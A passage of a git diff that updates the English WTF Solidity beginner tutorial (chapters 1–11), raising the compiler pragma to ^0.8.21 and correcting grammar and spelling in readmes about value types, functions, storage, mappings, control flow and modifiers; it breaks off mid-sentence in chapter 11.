+++ b/Languages/en/01_HelloWeb3_en/readme.md @@ -18,11 +18,11 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit `Solidity` has two characteristics: 1. Object-oriented: After learning it, you can use it to make money by finding the right projects. -2. Advanced: If you can write smart contract in Solidity, you are the first class citizen of Ethereum. +2. Advanced: If you can write smart contracts in Solidity, you are the first class citizen of Ethereum. ## Development tool: Remix -In this tutorial, we will be using `Remix` to run `solidity` contracts. `Remix` is an smart contract development IDE (Integrated Development Environment) recommended by Ethereum official. It is suitable for beginners, allows for quick deployment and testing of smart contracts in the browser, without needing to install any programs on your local machine. +In this tutorial, we will be using `Remix` to run `solidity` contracts. `Remix` is a smart contract development IDE (Integrated Development Environment) recommended by Ethereum official. It is suitable for beginners, allows for quick deployment and testing of smart contracts in the browser, without needing to install any programs on your local machine. Website: [remix.ethereum.org](https://remix.ethereum.org) @@ -38,26 +38,26 @@ This one is easy, the program only contains 1 line of comment and 3 lines of cod ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract HelloWeb3{ string public _string = "Hello Web3!";} ``` Now, we will breakdown and analyze the source code in detail, understanding the basic structure: -1. The first line is a comment, which denotes the software license (license identifier) used by the program. We are using the MIT license. If you do not indicate the license used, the program can compile successfully but will report an warning during compilation. Solidity's comments are denoted with "//", followed by the content of the comment (which will not be run by the program). +1. The first line is a comment, which denotes the software license (license identifier) used by the program. We are using the MIT license. If you do not indicate the license used, the program can compile successfully but will report a warning during compilation. Solidity's comments are denoted with "//", followed by the content of the comment (which will not be run by the program). ```solidity // SPDX-License-Identifier: MIT ``` -2. The second line declares the Solidity version used by the source file, because the syntax of different versions is different. This line of code means that the source file will not allow compilation by compilers version lower than v0.8.4 and not higher than v0.9.0 (the second condition is provided by `^`). +2. The second line declares the Solidity version used by the source file because the syntax of different versions is different. This line of code means that the source file will not allow compilation by compiler versions lower than v0.8.21 and not higher than v0.9.0 (the second condition is provided by `^`). ```solidity -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; ``` -3. Lines 3 and 4 are the main body of the smart contract. Line 3 creates a contract with the name `HelloWeb3`. Line 4 is the content of the contract. Here, we created a string variable called `_string` and assign "Hello Web3!" as value to it. +3. Lines 3 and 4 are the main body of the smart contract. Line 3 creates a contract with the name `HelloWeb3`. Line 4 is the content of the contract. Here, we created a string variable called `_string` and assigned "Hello Web3!" as value to it. ```solidity contract HelloWeb3{ @@ -67,7 +67,7 @@ We will introduce the different variables in Solidity later. ## Code compilation and deployment -In the code editor, pressing CTRL+S to compile the code. +In the code editor, press CTRL+S to compile the code. After compilation, click the `Deploy` button on the left menu to enter the deployment page. diff --git a/Languages/en/02_ValueTypes_en/ValueTypes.sol b/Languages/en/02_ValueTypes_en/ValueTypes.sol index 924e8c18f..74c30567e 100644 --- a/Languages/en/02_ValueTypes_en/ValueTypes.sol +++ b/Languages/en/02_ValueTypes_en/ValueTypes.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract ValueTypes{ // Boolean bool public _bool = true; diff --git a/Languages/en/02_ValueTypes_en/readme.md b/Languages/en/02_ValueTypes_en/readme.md index a8ac94ee7..2a7d38b15 100644 --- a/Languages/en/02_ValueTypes_en/readme.md +++ b/Languages/en/02_ValueTypes_en/readme.md @@ -13,13 +13,13 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ## Variable Types -1. **Value Type**:This include boolean, integer, etc. These variables directly pass values when assigned. +1. **Value Type**:This includes boolean, integer, etc. These variables directly pass values when assigned. 2. **Reference Type**:including arrays and structures. These variables take up more space, directly pass addresses (similar to pointers) when assigned, and can be modified with multiple variable names. 3. **Mapping Type**: hash tables in Solidity. -4. **Function Type**:The Solidity documentation classifies functions into value types. But its very different from other types, and I put it in a separate category. +4. **Function Type**:The Solidity documentation classifies functions into value types. But it's very different from other types, and I put it in a separate category. Only the commonly used types will be introduced here. In this chapter, we will introduce value types. @@ -53,13 +53,13 @@ Code: bool public _bool5 = _bool != _bool1; // inequality ``` -From the above source code:the value of the variable `_bool` is `true`; `_bool1` is not`_bool`, which yields `false`; `_bool && _bool1` is `false`;`_bool || _bool1` is `true`;`_bool == _bool1` is `false`;and `_bool != _bool1` is `true`. +From the above source code: the value of the variable `_bool` is `true`; `_bool1` is not`_bool`, which yields `false`; `_bool && _bool1` is `false`;`_bool || _bool1` is `true`;`_bool == _bool1` is `false`;and `_bool != _bool1` is `true`. **Important note:** The `&&` and `||` operator follows a short-circuit evaluation rule. This means that for an expression such as `f(x) || g(y)`, if `f(x)` is `true`, `g(y)` will not be evaluated. ### 2. Integers -Integers types in Solidity includes signed integer `int` and unsigned integer `uint`. It can store up to a 256-bit integers or data units. +Integers types in Solidity include signed integer `int` and unsigned integer `uint`. It can store up to a 256-bit integers or data units. ```solidity // Integer @@ -86,7 +86,7 @@ You can run the above code and check the values of each variable. ### 3. Addresses -Addresses have following 2 types: +Addresses have the following 2 types: - `address`: Holds a 20 byte value (size of an Ethereum address). - `address payable`: Same as `address`, but with the additional members `transfer` and `send` to allow ETH transfers. @@ -117,7 +117,7 @@ Code: bytes1 public _byte = _byte32[0]; ``` -In the above code, we assigned value `MiniSolidity` to the variable `_byte32`, or in hexadecimal: `0x4d696e69536f6c69646974790000000000000000000000000000000000000000` +In the above code, we assigned the value `MiniSolidity` to the variable `_byte32`, or in hexadecimal: `0x4d696e69536f6c69646974790000000000000000000000000000000000000000` And `_byte` takes the value of the first byte of `_byte32`, which is `0x4d`. diff --git a/Languages/en/03_Function_en/Function.sol b/Languages/en/03_Function_en/Function.sol index e037d1886..23c193ad3 100644 --- a/Languages/en/03_Function_en/Function.sol +++ b/Languages/en/03_Function_en/Function.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract FunctionTypes{ uint256 public number = 5; diff --git a/Languages/en/03_Function_en/readme.md b/Languages/en/03_Function_en/readme.md index e5f9401df..167f4c514 100644 --- a/Languages/en/03_Function_en/readme.md +++ b/Languages/en/03_Function_en/readme.md @@ -36,7 +36,7 @@ It may seem complex, but let's break it down piece by piece (square brackets ind - `external`: Can only be called from other contracts. But can also be called by `this.f()` inside the contract, where `f` is the function name. - - `internal`: Can only be accessed internal and by contracts deriving from it. + - `internal`: Can only be accessed internally and by contracts deriving from it. **Note 1**: `public` is the default visibility for functions. @@ -50,7 +50,7 @@ It may seem complex, but let's break it down piece by piece (square brackets ind ## WTF is `Pure` and `View`? -When I started learning `solidity`, I didn't understand `pure` and `view` at all, since they are not common in other languages. `solidity` added these two keywords, because of `gas fee`. The contract state variables are stored on block chain, and `gas fee` is very expensive. If you don't rewrite these variables, you don't need to pay `gas`. You don't need to pay `gas` for calling `pure` and `view` functions. +When I started learning `solidity`, I didn't understand `pure` and `view` at all, since they are not common in other languages. `solidity` added these two keywords, because of `gas fee`. The contract state variables are stored on the blockchain, and the `gas fee` is very expensive. If you don't rewrite these variables, you don't need to pay `gas`. You don't need to pay `gas` for calling `pure` and `view` functions. The following statements are considered modifying the state: @@ -71,13 +71,13 @@ The following statements are considered modifying the state: 8. Using inline assembly that contains certain opcodes. -I drew a Mario cartton to visualize `pure` and `view`. In the picture, the state variable is represented by Princess Peach, keywards are represented by three different characters. +I drew a Mario cartoon to visualize `pure` and `view`. In the picture, the state variable is represented by Princess Peach, keywords are represented by three different characters. ![WHAT is pure and view in solidity?](https://images.mirror-media.xyz/publication-images/1B9kHsTYnDY_QURSWMmPb.png?height=1028&width=1758) -- `pure` : Functions containing `pure` keyword cannot read nor write state variables on-chain. Just like the little monster, it can't see or touch Princess Peach. +- `pure`: Functions containing `pure` keywords cannot read nor write state variables on-chain. Just like the little monster, it can't see or touch Princess Peach. -- `view` : Functions containing `view` keyword can read but cannot write on-chain state variables. Similar to Mario, able to see Princess but cannot touch. +- `view`: Functions containing `view` keyword can read but cannot write on-chain state variables. Similar to Mario, able to see Princess but cannot touch. - Without `pure` and `view`: Functions can both read and write state variables. Like the `boss` can do whatever he wants. @@ -89,7 +89,7 @@ We define a state variable `number = 5` ```solidity // SPDX-License-Identifier: MIT - pragma solidity ^0.8.4; + pragma solidity ^0.8.21; contract FunctionTypes{ uint256 public number = 5; ``` @@ -103,7 +103,7 @@ Define an `add()` function, add 1 to `number` on every call. } ``` -If `add()` contains `pure` keyword, i.e. `function add() pure external`, it will result in an error. Because `pure` cannot read state variable in contract nor write. So what can `pure` do ? i.e. you can pass a parameter `_number` to function, let function returns `_number + 1`. +If `add()` contains `pure` keyword, i.e. `function add() pure external`, it will result in an error. Because `pure` cannot read state variables in contract nor write. So what can `pure` do? i.e. you can pass a parameter `_number` to function, let function returns `_number + 1`. ```solidity // pure @@ -115,7 +115,7 @@ If `add()` contains `pure` keyword, i.e. `function add() pure external`, it will **Example:** ![3-3.png](./img/3-3.png) -If `add()` contains `view` , i.e. `function add() view external`, it will also result in error. Because `view` can read, but cannot write state variable. We can modify the function as follows: +If `add()` contains `view`, i.e. `function add() view external`, it will also result in an error. Because `view` can read, but cannot write state variables. We can modify the function as follows: ```solidity // view @@ -141,7 +141,7 @@ If `add()` contains `view` , i.e. `function add() view external`, it will also r } ``` -Here we defined an `internal minus()` function, `number` will decrease 1 each time function is called. Since `internal` function can only be called within the contract itself. Therefore, we need to define an `external` `minusCall()` function to call `minus()` internally. +Here we defined an `internal minus()` function, `number` will decrease 1 each time the function is called. Since the `internal` function can only be called within the contract itself, we need to define an `external` `minusCall()` function to call `minus()` internally. **Example:** ![3-1.png](./img/3-1.png) @@ -156,11 +156,11 @@ Here we defined an `internal minus()` function, `number` will decrease 1 each ti } ``` -We defined an `external payable minusPayable()` function, which calls `minus()` and return `ETH` balance of the current contract (`this` keyword can let us query current contract address). Since the function is `payable`, we can send 1 `ETH` to the contract when calling `minusPayable()`. +We defined an `external payable minusPayable()` function, which calls `minus()` and return `ETH` balance of the current contract (`this` keyword can let us query the current contract address). Since the function is `payable`, we can send 1 `ETH` to the contract when calling `minusPayable()`. ![](https://images.mirror-media.xyz/publication-images/ETDPN8myq7jFfAL8CUAFt.png?height=148&width=588) -We can see that contract balance is 1 `ETH` in return message. +We can see that the contract balance is 1 `ETH` in the return message. ![](https://images.mirror-media.xyz/publication-images/nGZ2pz0MvzgXuKrENJPYf.png?height=128&width=1130) @@ -169,4 +169,4 @@ We can see that contract balance is 1 `ETH` in return message. ## Summary -In this section, we introduced `solidity` function type. `pure` and `view` keywords are difficult to understand, since they are not common in other languages. You don't need to pay gas fees for calling `pure` or `view` functions, since they don't modify the on-chain data. +In this section, we introduced `solidity` function type. `pure` and `view` keywords are difficult to understand since they are not common in other languages. You don't need to pay gas fees for calling `pure` or `view` functions, since they don't modify the on-chain data. diff --git a/Languages/en/04_Return_en/Return.sol b/Languages/en/04_Return_en/Return.sol index 02d34fe26..210e58a90 100644 --- a/Languages/en/04_Return_en/Return.sol +++ b/Languages/en/04_Return_en/Return.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // Return multiple variables // Named returns diff --git a/Languages/en/04_Return_en/readme.md b/Languages/en/04_Return_en/readme.md index b29c1a88b..e4e8717ca 100644 --- a/Languages/en/04_Return_en/readme.md +++ b/Languages/en/04_Return_en/readme.md @@ -11,7 +11,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- -In this chapter, we will introduce `Solidity` function output, including returning multiple values, named returns, and reading full or part of return values using destructuring assignments. +In this chapter, we will introduce the `Solidity` function output, including returning multiple values, named returns, and reading full or part of return values using destructuring assignments. ## Return values (return and returns) There are two keywords related to function output: `return` and `returns`: diff --git a/Languages/en/05_DataStorage_en/DataStorage.sol b/Languages/en/05_DataStorage_en/DataStorage.sol index 01bba321f..136981cab 100644 --- a/Languages/en/05_DataStorage_en/DataStorage.sol +++ b/Languages/en/05_DataStorage_en/DataStorage.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract DataStorage { // The data location of x is storage. diff --git a/Languages/en/05_DataStorage_en/readme.md b/Languages/en/05_DataStorage_en/readme.md index 6a2c6ccb5..7f9dadc86 100644 --- a/Languages/en/05_DataStorage_en/readme.md +++ b/Languages/en/05_DataStorage_en/readme.md @@ -2,7 +2,7 @@ Recently, I have been relearning Solidity, consolidating the finer details, and also writing a "WTF Solidity Tutorial" for newbies to learn. Lectures are updated 1~3 times weekly. -Everyone is welcomed to follow my Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) +Everyone is welcome to follow my Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) WTF Academy Discord: [Link](https://discord.gg/5akcruXrsk) @@ -16,7 +16,7 @@ All codebase and tutorial notes are open source and available on GitHub (At 1024 ## Data location There are three types of data storage locations in solidity: `storage`, `memory` and `calldata`. Gas costs are different for different storage locations. -The data of a `storage` variable is stored on-chain, similar to the hard disk of a computer, and consumes a lot of `gas`; while the data of `memory` and `calldata` variables are temporarily stored in memory, consumes less `gas`. +The data of a `storage` variable is stored on-chain, similar to the hard disk of a computer, and consumes a lot of `gas`; while the data of `memory` and `calldata` variables are temporarily stored in memory, consuming less `gas`. General usage: @@ -24,7 +24,7 @@ General usage: 2. `memory`: The parameters and temporary variables in the function generally use `memory` label, which is stored in memory and not on-chain. -3. `calldata`: Similar to `memory`, stored in memory, not on-chain. The difference from `memory` is that `calldata` variables cannot be modified, and is generally used for function parameters. Example: +3. `calldata`: Similar to `memory`, stored in memory, not on-chain. The difference from `memory` is that `calldata` variables cannot be modified, and are generally used for function parameters. Example: ```solidity function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ @@ -39,9 +39,9 @@ General usage: ### Data location and assignment behaviour -Data locations are not only relevant for persistency of data, but also for the semantics of assignments: +Data locations are not only relevant for the persistence of data but also for the semantics of assignments: -1. When `storage` (a state variable of the contract) is assigned to the local `storage` (in a function), a reference will be created, and changing value of the new variable will affect the original one. Example: +1. When `storage` (a state variable of the contract) is assigned to the local `storage` (in a function), a reference will be created, and the changing value of the new variable will affect the original one. Example: ```solidity uint[] x = [1,2,3]; // state variable: array x @@ -139,5 +139,5 @@ Below are some commonly used global variables: ![5-4.png](./img/5-4.png) ## Summary -In this chapter, we introduced reference types, data storage locations and variable scopes in `solidity`. There are three types of data storage locations: `storage`, `memory` and `calldata`. Gas costs are different for different storage locations. The variable scope include state variables, local variables and global variables. +In this chapter, we introduced reference types, data storage locations and variable scopes in `solidity`. There are three types of data storage locations: `storage`, `memory` and `calldata`. Gas costs are different for different storage locations. The variable scope includes state variables, local variables and global variables. diff --git a/Languages/en/06_ArrayAndStruct_en/ArrayAndStruct.sol b/Languages/en/06_ArrayAndStruct_en/ArrayAndStruct.sol index 2933de881..9f00e0172 100644 --- a/Languages/en/06_ArrayAndStruct_en/ArrayAndStruct.sol +++ b/Languages/en/06_ArrayAndStruct_en/ArrayAndStruct.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract ArrayTypes { // Fixed Length Array @@ -33,7 +33,7 @@ contract ArrayTypes { } } -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract StructTypes { // Struct struct Student{ diff --git a/Languages/en/06_ArrayAndStruct_en/readme.md b/Languages/en/06_ArrayAndStruct_en/readme.md index f057d024a..98226b0c2 100644 --- a/Languages/en/06_ArrayAndStruct_en/readme.md +++ b/Languages/en/06_ArrayAndStruct_en/readme.md @@ -28,7 +28,7 @@ There are two types of arrays: fixed-sized and dynamically-sized arrays.: address[100] array3; ``` -- Dynamically-sized array(dynamic array):Length of the array is not specified during declaration. It uses the format of `T[]`, where `T` is the element type. +- Dynamically-sized array(dynamic array): The length of the array is not specified during declaration. It uses the format of `T[]`, where `T` is the element type. ```solidity // variable-length array @@ -38,13 +38,13 @@ There are two types of arrays: fixed-sized and dynamically-sized arrays.: bytes array7; ``` -**Notice**: `bytes` is special case, it is a dynamic array, but you don't need to add `[]` to it. You can use either `bytes` or `bytes1[]` to declare byte array, but not `byte[]`. `bytes` is recommended and consumes less gas than `bytes1[]`. +**Notice**: `bytes` is a special case, it is a dynamic array, but you don't need to add `[]` to it. You can use either `bytes` or `bytes1[]` to declare a byte array, but not `byte[]`. `bytes` is recommended and consumes less gas than `bytes1[]`. ### Rules for creating arrays In Solidity, there are some rules for creating arrays: -- For a `memory` dynamic array, it can be created with the `new` operator, but the length must be declared, and the length cannot be changed after the declaration. For example: +- A `memory` dynamic array, can be created with the `new` operator, but the length must be declared, and the length cannot be changed after the declaration. For example: ```solidity // memory dynamic array diff --git a/Languages/en/07_Mapping_en/readme.md b/Languages/en/07_Mapping_en/readme.md index 0fe46d2e2..ce6bfbe3d 100644 --- a/Languages/en/07_Mapping_en/readme.md +++ b/Languages/en/07_Mapping_en/readme.md @@ -26,7 +26,7 @@ The format of declaring the `mapping` is `mapping(_KeyType => _ValueType)`, wher ## Rules of `mapping` -- **Rule 1**: The `_KeyType` should be selected among default types in `solidity` such as ` uint `, `address`, etc. No custom `struct` can be used. However, `_ValueType` can be any custom types. The following example will throw an error, because `_KeyType` uses a custom struct: +- **Rule 1**: The `_KeyType` should be selected among default types in `solidity` such as ` uint `, `address`, etc. No custom `struct` can be used. However, `_ValueType` can be any custom type. The following example will throw an error, because `_KeyType` uses a custom struct: ```solidity // define a struct @@ -37,7 +37,7 @@ The format of declaring the `mapping` is `mapping(_KeyType => _ValueType)`, wher mapping(Student => uint) public testVar; ``` -- **Rule 2**: The storage location of the mapping must be `storage`: it can serve as the state variable or the `storage` variable inside function. But it can't be used in arguments or return results of `public` function. +- **Rule 2**: The storage location of the mapping must be `storage`: it can serve as the state variable or the `storage` variable inside the function. But it can't be used in arguments or return results of `public` function. - **Rule 3**: If the mapping is declared as `public` then Solidity will automatically create a `getter` function for you to query for the `Value` by the `Key`. @@ -57,17 +57,17 @@ The format of declaring the `mapping` is `mapping(_KeyType => _ValueType)`, wher - **Principle 3**: Since Ethereum defines all unused space as 0, all `key` that are not assigned a `value` will have an initial value of 0. -## Verify on Remix (use `Mapping.sol` as example) +## Verify on Remix (use `Mapping.sol` as an example) - Deploy `Mapping.sol` ![7-1_en](./img/7-1_en.png) -- Check initial value of map `idToAddress`. +- Check the initial value of map `idToAddress`. ![7-2_en](./img/7-2_en.png) -- Write new key-value pair +- Write a new key-value pair ![7-3_en](./img/7-3_en.png) @@ -75,4 +75,4 @@ The format of declaring the `mapping` is `mapping(_KeyType => _ValueType)`, wher ## Summary -In this section,we introduced the `mapping` type in Solidity. So far, we've learned all kinds of common variables. +In this section, we introduced the `mapping` type in Solidity. So far, we've learned all kinds of common variables. diff --git a/Languages/en/08_InitialValue_en/readme.md b/Languages/en/08_InitialValue_en/readme.md index 358a1f23f..5679b6ed6 100644 --- a/Languages/en/08_InitialValue_en/readme.md +++ b/Languages/en/08_InitialValue_en/readme.md @@ -27,7 +27,7 @@ In Solidity, variables declared but not assigned have their initial/default valu - `internal`: blank function - `external`: blank function -You can use `getter` function of `public` variables to confirm the above initial values: +You can use the `getter` function of `public` variables to confirm the above initial values: ```solidity bool public _bool; // false @@ -50,16 +50,16 @@ You can use `getter` function of `public` variables to confirm the above initial - `array` - dynamic array: `[]` - - static array(fixed-length): a static array where all members set to their default values. + - static array(fixed-length): a static array where all members are set to their default values. -You can use `getter` function of `public` variables to confirm initial values: +You can use the `getter` function of `public` variables to confirm initial values: ```solidity // reference types uint[8] public _staticArray; // a static array which all members set to their default values[0,0,0,0,0,0,0,0] uint[] public _dynamicArray; // `[]` mapping(uint => address) public _mapping; // a mapping which all members set to their default values - // a struct which all members set to their default values 0, 0 + // a struct in which all members are set to their default values of 0, 0 struct Student{ uint256 id; uint256 score; @@ -85,10 +85,10 @@ You can use `getter` function of `public` variables to confirm initial values: ![](./img/8-1_en.jpg) -- After using the `delete` operator, the value of the variables are reset to their initial values. +- After using the `delete` operator, the values of the variables are reset to their initial values. ![](./img/8-2_en.jpg) ## Summary -In this section, we introduced the initial values of variables in Solidity. When a variable is declared but not assigned, its value defaults to the initial value, which is equivalent as `0` represented in its type. The `delete` operator can reset the value of the variable to the initial value. +In this section, we introduced the initial values of variables in Solidity. When a variable is declared but not assigned, its value defaults to the initial value, which is equivalent to `0` represented in its type. The `delete` operator can reset the value of the variable to the initial value. diff --git a/Languages/en/09_Constant_en/Constant.sol b/Languages/en/09_Constant_en/Constant.sol index 96b7ad338..c9fa119c1 100644 --- a/Languages/en/09_Constant_en/Constant.sol +++ b/Languages/en/09_Constant_en/Constant.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Constant { // The constant variable must be initialized when declared and cannot be changed after that uint256 public constant CONSTANT_NUM = 10; diff --git a/Languages/en/09_Constant_en/readme.md b/Languages/en/09_Constant_en/readme.md index 3a55b16ba..27a42d073 100644 --- a/Languages/en/09_Constant_en/readme.md +++ b/Languages/en/09_Constant_en/readme.md @@ -19,7 +19,7 @@ Value-typed variables can be declared as `constant` and `immutable`; `string` an ### constant -`constant` variable must be initialized during declaration and cannot be changed afterwards. Any modification attempt will result in error at compilation. +The `constant` variable must be initialized during declaration and cannot be changed afterwards. Any modification attempt will result in an error at compilation. ``` solidity // The constant variable must be initialized when declared and cannot be changed after that @@ -44,7 +44,7 @@ The `immutable` variable can be initialized during declaration or in the constru You can initialize the `immutable` variable using a global variable such as `address(this)`, `block.number`, or a custom function. In the following example, we use the `test()` function to initialize the `IMMUTABLE_TEST` variable to a value of `9`: ``` solidity - // The immutable variables are initialized with constructor, so that could use + // The immutable variables are initialized with the constructor, that is: constructor(){ IMMUTABLE_ADDRESS = address(this); IMMUTABLE_BLOCK = block.number; @@ -64,11 +64,11 @@ You can initialize the `immutable` variable using a global variable such as `add ![9-1.png](./img/9-1.png) -2. After `constant` variable is initialized, any attempt to change its value will result. In the example, the compiler throws: `TypeError: Cannot assign to a constant variable.` +2. After the `constant` variable is initialized, any attempt to change its value will result. In the example, the compiler throws: `TypeError: Cannot assign to a constant variable.` ![9-2.png](./img/9-2.png) -3. After `immutable` variable is initialized, any attempt to change its value will result. In the example, the compiler throws: `TypeError: Immutable state variable already initialized.` +3. After the `immutable` variable is initialized, any attempt to change its value will result. In the example, the compiler throws: `TypeError: Immutable state variable already initialized.` ![9-3.png](./img/9-3.png) diff --git a/Languages/en/10_InsertionSort_en/InsertionSort.sol b/Languages/en/10_InsertionSort_en/InsertionSort.sol index d5be664e9..bbd1edf34 100644 --- a/Languages/en/10_InsertionSort_en/InsertionSort.sol +++ b/Languages/en/10_InsertionSort_en/InsertionSort.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract InsertionSort { // if else function ifElseTest(uint256 _number) public pure returns(bool){ diff --git a/Languages/en/10_InsertionSort_en/readme.md b/Languages/en/10_InsertionSort_en/readme.md index d7b14118f..02d20cbfe 100644 --- a/Languages/en/10_InsertionSort_en/readme.md +++ b/Languages/en/10_InsertionSort_en/readme.md @@ -11,7 +11,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ----- -In this section, we will introduce control flow in Solidity, and write a insertion sort (`InsertionSort`), a program that looks simple but is actually bug-prone. +In this section, we will introduce control flow in Solidity, and write an insertion sort (`InsertionSort`), a program that looks simple but is actually bug-prone. ## Control Flow @@ -71,7 +71,7 @@ function doWhileTest() public pure returns(uint256){ 5. Conditional (`ternary`) operator -The `ternary` operator is the only operator in Solidity that accepts three operands:a condition followed by a question mark (`?`), then an expression `x` to execute if the condition is true followed by a colon (`:`), and finally the expression `y` to execute if the condition is false: `condition ? x : y`. +The `ternary` operator is the only operator in Solidity that accepts three operands: a condition followed by a question mark (`?`), then an expression `x` to execute if the condition is true followed by a colon (`:`), and finally the expression `y` to execute if the condition is false: `condition ? x : y`. This operator is frequently used as an alternative to an `if-else` statement. @@ -87,7 +87,7 @@ In addition, there are `continue` (immediately enter the next loop) and `break` ## `Solidity` Implementation of Insertion Sort -**Note**: Over 90% of people who write the insertion algorithm with Solidity will get it wrong at the first try. +**Note**: Over 90% of people who write the insertion algorithm with Solidity will get it wrong on the first try. ### Insertion Sort @@ -136,7 +136,7 @@ Python version of Insertion Sort takes up 9 lines. Let's rewrite it into Solidit } ``` -But when we compile the modified version and try to sort `[2, 5, 3, 1]`. *BOOM!* There are bugs! After 3-hour debugging, I still could not find where the bug was. I googled "Solidity insertion sort", and found that all the insertion algorithms written with Solidity are all wrong, such as: [Sorting in Solidity without Comparison](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d) +But when we compile the modified version and try to sort `[2, 5, 3, 1]`. *BOOM!* There are bugs! After 3-hour debugging, I still could not find where the bug was. I googled "Solidity insertion sort", and found that all the insertion algorithms written with Solidity are all wrong, such as [Sorting in Solidity without Comparison](https://medium.com/coinmonks/sorting-in-solidity-without-comparison-4eb47e04ff0d) Errors occurred in `Remix decoded output`: @@ -144,7 +144,7 @@ Errors occurred in `Remix decoded output`: ### Solidity Implementation (Correct) -With the help of a friend from `Dapp-Learning` community, we finally found the problem. The most commonly used variable type in Solidity is `uint`, which represent a non-negative integer. If it takes a negative value, we will encounter an `underflow` error. In the above code, the variable `j` will get `-1`, causing the bug. +With the help of a friend from `Dapp-Learning` community, we finally found the problem. The most commonly used variable type in Solidity is `uint`, which represents a non-negative integer. If it takes a negative value, we will encounter an `underflow` error. In the above code, the variable `j` will get `-1`, causing the bug. So, we need to add `1` to `j` so it can never take a negative value. The correct insertion sort solidity code: @@ -171,4 +171,4 @@ Result: ## Summary -In this lecture, we introduced control flow in Solidity and wrote a simple but bug-prone sorting algorithm. Solidity looks simple but have many traps. Every month, projects get hacked and lose millions of dollars because of small bugs in the smart contract. To write a safe contract, we need to master the basics of the Solidity and keep practicing. \ No newline at end of file +In this lecture, we introduced control flow in Solidity and wrote a simple but bug-prone sorting algorithm. Solidity looks simple but has many traps. Every month, projects get hacked and lose millions of dollars because of small bugs in the smart contract. To write a safe contract, we need to master the basics of Solidity and keep practising. diff --git a/Languages/en/11_Modifier_en/Owner.sol b/Languages/en/11_Modifier_en/Owner.sol index cf919018c..217782129 100644 --- a/Languages/en/11_Modifier_en/Owner.sol +++ b/Languages/en/11_Modifier_en/Owner.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Owner { address public owner; // define owner variable diff --git a/Languages/en/11_Modifier_en/readme.md b/Languages/en/11_Modifier_en/readme.md index fda0f2eff..5b255b660 100644 --- a/Languages/en/11_Modifier_en/readme.md +++ b/Languages/en/11_Modifier_en/readme.md @@ -34,7 +34,7 @@ In this section, we will introduce `constructor` and `modifier` in Solidity, usi } ``` -**Note**: The syntax of constructor in solidity is not consistent for different versions: Before `solidity 0.4.22`, constructors did not use the `constructor` keyword. Instead, the constructor had the same name as the contract name. This old syntax is prone to mistakes: the developer may mistakenly name the contract as `Parents`, while the constructor as `parents`. So in `0.4.22` and later version, the new `constructor` keyword is used. Example of constructor prior to `solidity 0.4.22`: +**Note**: The syntax of the constructor in solidity is inconsistent for different versions: Before `solidity 0.4.22`, constructors did not use the `constructor` keyword. Instead, the constructor had the same name as the contract name. This old syntax is prone to mistakes: the developer may mistakenly name the contract as `Parents`, while the constructor as `parents`. So in `0.4.22` and later versions, the new `constructor` keyword is used. Example of constructor prior to `solidity 0.4.22`: ```solidity pragma solidity = 0.4.21; @@ -46,7 +46,7 @@ contract Parents { ``` ## Modifier -`modifier` is similar to `decorator` in object-oriented programming, which is used to declare dedicated properties of functions and reduce code redundancy. `modifier` is Iron Man Armor for functions: the function with `modifier` will have some magic properties. The popular use case of `modifier` is restrict the access of functions. +`modifier` is similar to `decorator` in object-oriented programming, which is used to declare dedicated properties of functions and reduce code redundancy. `modifier` is Iron Man Armor for functions: the function with `modifier` will have some magic properties. The popular use case of `modifier` is restricting access to functions. ![Iron Man's modifier](https://images.mirror-media.xyz/publication-images/nVwXsOVmrYu8rqvKKPMpg.jpg?height=630&width=1200) @@ -60,25 +60,25 @@ Let's define a modifier called `onlyOwner`, functions with it can only be called } ``` -Next, let us define a `changeOwner` function, which can change the `owner` of the contract. However, due to the `onlyOwner` modifier, only original `owner` is able to call it. This is the most common way of access control in smart contracts. +Next, let us define a `changeOwner` function, which can change the `owner` of the contract. However, due to the `onlyOwner` modifier, only the original `owner` is able to call it. This is the most common way of access control in smart contracts. ```solidity function changeOwner(address _newOwner) external onlyOwner{ - owner = _newOwner; // only owner address can run this function and change owner + owner = _newOwner; // only the owner address can run this function and change the owner } ``` -### OppenZepplin's implementation of Ownable: -`OppenZepplin` is an organization that maintains a standardized code base for `Solidity`, Their standard implementation of `Ownable` is in [this link](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol). +### OpenZeppelin's implementation of Ownable: +`OpenZeppelin` is an organization that maintains a standardized code base for `Solidity`, Their standard implementation of `Ownable` is in [this link](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol). ## Remix Demo example Here, we take `Owner.sol` as an example. 1. compile and deploy the code in Remix. -2. click `owner` button to view current owner. +2. click the `owner` button to view the current owner. ![](img/11-2_en.jpg) -3. The transaction succeeds when `changeOwner` function is called by the owner address user. +3. The transaction succeeds when the `changeOwner` function is called by the owner address user. ![](img/11-3_en.jpg) -4. The transaction fails when `changeOwner` function is called by other addresses. +4. The 